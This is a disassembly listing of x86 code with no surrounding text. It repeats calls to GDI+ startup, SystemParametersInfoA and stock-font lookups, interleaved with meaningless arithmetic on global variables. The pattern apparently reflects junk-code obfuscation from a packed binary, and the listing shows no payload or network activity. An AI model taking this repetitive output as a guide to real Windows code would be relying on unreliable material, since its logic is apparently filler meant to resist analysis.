call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf14c6f
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf14c6f
mov dword [0x5cf2aaf8], ebx
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf14ca4
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf14ce9
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf14ce9
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf14d6a
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf14d6a
mov dword [0x5cf2aaf8], ebx
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf14d9f
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [ebp + 0x28]
cmp eax, dword [0x5cf2ab08]
mov ecx, dword [0x5cf2ab00]
jne 0x5cf14e0b
movzx eax, word [ebp + 0x40]
add eax, ecx
cdq
lea esi, [ecx + 4]
idiv esi
mov esi, dword [0x5cf2ab0c]
mov edx, esi
imul edx, ecx
sub edx, eax
movzx eax, byte [0x5cf2ab04]
imul eax, dword [0x5cf2aaf8]
mov ecx, edx
cdq
idiv esi
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
sub ecx, eax
add dword [ebp + 0x3c], ecx
mov ecx, dword [0x5cf2ab00]
mov eax, dword [0x5cf2ab0c]
lea edx, [eax + ecx]
imul ecx, dword [0x5cf2aaf4]
cmp ecx, edx
jne 0x5cf14e3b
mov ecx, dword [ebp + 0x28]
movzx edx, word [ebp + 0x3c]
add ecx, 4
imul ecx, edx
imul ecx, eax
imul ecx, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], ecx
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf14e80
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf14e80
mov dword [0x5cf2aaf8], ebx
mov eax, dword [ebp + 0x28]
cmp eax, dword [0x5cf2ab08]
mov ecx, dword [0x5cf2ab00]
jne 0x5cf14ece
movzx eax, word [ebp + 0x40]
add eax, ecx
cdq
lea esi, [ecx + 4]
idiv esi
mov esi, dword [0x5cf2ab0c]
mov edx, esi
imul edx, ecx
sub edx, eax
movzx eax, byte [0x5cf2ab04]
imul eax, dword [0x5cf2aaf8]
mov ecx, edx
cdq
idiv esi
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
sub ecx, eax
add dword [ebp + 0x3c], ecx
mov ecx, dword [0x5cf2ab00]
mov eax, dword [0x5cf2ab0c]
lea edx, [eax + ecx]
imul ecx, dword [0x5cf2aaf4]
cmp ecx, edx
jne 0x5cf14efe
mov ecx, dword [ebp + 0x28]
movzx edx, word [ebp + 0x3c]
add ecx, 4
imul ecx, edx
imul ecx, eax
imul ecx, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], ecx
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf14f43
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf14f43
mov dword [0x5cf2aaf8], ebx
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf14f78
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf14fdb
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf14fdb
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf1503e
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf1503e
mov dword [0x5cf2aaf8], ebx
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15083
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15083
mov dword [0x5cf2aaf8], ebx
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf150c8
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf150c8
mov dword [0x5cf2aaf8], ebx
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf150fd
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15142
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15142
mov dword [0x5cf2aaf8], ebx
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf15177
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf151ca
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf1520f
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf1520f
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15272
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15272
mov dword [0x5cf2aaf8], ebx
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf152a7
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf152fa
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf1533f
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf1533f
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
mov ecx, eax
imul ecx, dword [0x5cf2aaf4]
cmp ecx, edx
mov dword [ebp + 0x14], edx
jne 0x5cf1539d
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, dword [0x5cf2ab0c]
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
jmp 0x5cf153a2
mov eax, dword [0x5cf2aaf8]
cmp ecx, dword [ebp + 0x14]
jne 0x5cf153c4
mov ecx, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add ecx, 4
imul ecx, edx
imul ecx, dword [0x5cf2ab0c]
imul ecx, eax
mov dword [0x5cf2aaf8], ecx
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15409
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15409
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf1545c
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [ebp + 0x28]
cmp eax, dword [0x5cf2ab08]
jne 0x5cf154c2
mov ecx, dword [0x5cf2ab00]
movzx eax, word [ebp + 0x40]
add eax, ecx
cdq
lea esi, [ecx + 4]
idiv esi
mov esi, dword [0x5cf2ab0c]
mov edx, esi
imul edx, ecx
sub edx, eax
movzx eax, byte [0x5cf2ab04]
imul eax, dword [0x5cf2aaf8]
mov ecx, edx
cdq
idiv esi
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
sub ecx, eax
add dword [ebp + 0x3c], ecx
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15507
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15507
mov dword [0x5cf2aaf8], ebx
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf1553c
mov eax, dword [ebp + 0x28]
movzx edx, word [ebp + 0x3c]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf155bd
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf155bd
mov dword [0x5cf2aaf8], ebx
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15602
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15602
mov dword [0x5cf2aaf8], ebx
mov ecx, dword [0x5cf2ab00]
mov eax, dword [0x5cf2ab0c]
lea edx, [eax + ecx]
imul ecx, dword [0x5cf2aaf4]
cmp ecx, edx
mov dword [ebp + 0x14], edx
mov dword [ebp + 0x18], ecx
jne 0x5cf15641
mov ecx, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add ecx, 4
imul ecx, edx
imul ecx, eax
imul ecx, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], ecx
mov ecx, dword [ebp + 0x18]
cmp ecx, dword [ebp + 0x14]
jne 0x5cf15663
mov ecx, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add ecx, 4
imul ecx, edx
imul ecx, eax
imul ecx, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], ecx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf156c6
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf156c6
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf15719
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf1577c
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf1577c
mov dword [0x5cf2aaf8], ebx
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf157c1
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf157c1
mov dword [0x5cf2aaf8], ebx
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15806
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15806
mov dword [0x5cf2aaf8], ebx
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf1583b
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15880
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15880
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf158d3
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15918
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15918
mov dword [0x5cf2aaf8], ebx
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf1594d
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15992
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15992
mov dword [0x5cf2aaf8], ebx
mov eax, dword [ebp + 0x28]
cmp eax, dword [0x5cf2ab08]
mov ecx, dword [0x5cf2ab00]
jne 0x5cf159e0
movzx eax, word [ebp + 0x40]
add eax, ecx
cdq
lea esi, [ecx + 4]
idiv esi
mov esi, dword [0x5cf2ab0c]
mov edx, esi
imul edx, ecx
sub edx, eax
movzx eax, byte [0x5cf2ab04]
imul eax, dword [0x5cf2aaf8]
mov ecx, edx
cdq
idiv esi
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
sub ecx, eax
add dword [ebp + 0x3c], ecx
mov ecx, dword [0x5cf2ab00]
mov eax, dword [0x5cf2ab0c]
lea edx, [eax + ecx]
imul ecx, dword [0x5cf2aaf4]
cmp ecx, edx
mov dword [ebp + 0x14], edx
mov dword [ebp + 0x18], ecx
jne 0x5cf15a19
mov ecx, dword [ebp + 0x28]
movzx edx, word [ebp + 0x3c]
add ecx, 4
imul ecx, edx
imul ecx, eax
imul ecx, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], ecx
mov ecx, dword [ebp + 0x18]
cmp ecx, dword [ebp + 0x14]
jne 0x5cf15a3b
mov ecx, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add ecx, 4
imul ecx, edx
imul ecx, eax
imul ecx, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], ecx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15a9e
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15a9e
mov dword [0x5cf2aaf8], ebx
mov ecx, dword [0x5cf2ab00]
mov eax, dword [0x5cf2ab0c]
mov edx, ecx
imul edx, dword [0x5cf2aaf4]
add eax, ecx
cmp edx, eax
jne 0x5cf15ad8
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, dword [0x5cf2ab0c]
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
mov eax, dword [ebp + 0x28]
cmp eax, dword [0x5cf2ab08]
jne 0x5cf15b1a
movzx eax, word [ebp + 0x40]
add eax, ecx
cdq
lea esi, [ecx + 4]
idiv esi
mov esi, dword [0x5cf2ab0c]
mov edx, esi
imul edx, ecx
sub edx, eax
movzx eax, byte [0x5cf2ab04]
imul eax, dword [0x5cf2aaf8]
mov ecx, edx
cdq
idiv esi
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
sub ecx, eax
add dword [ebp + 0x3c], ecx
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
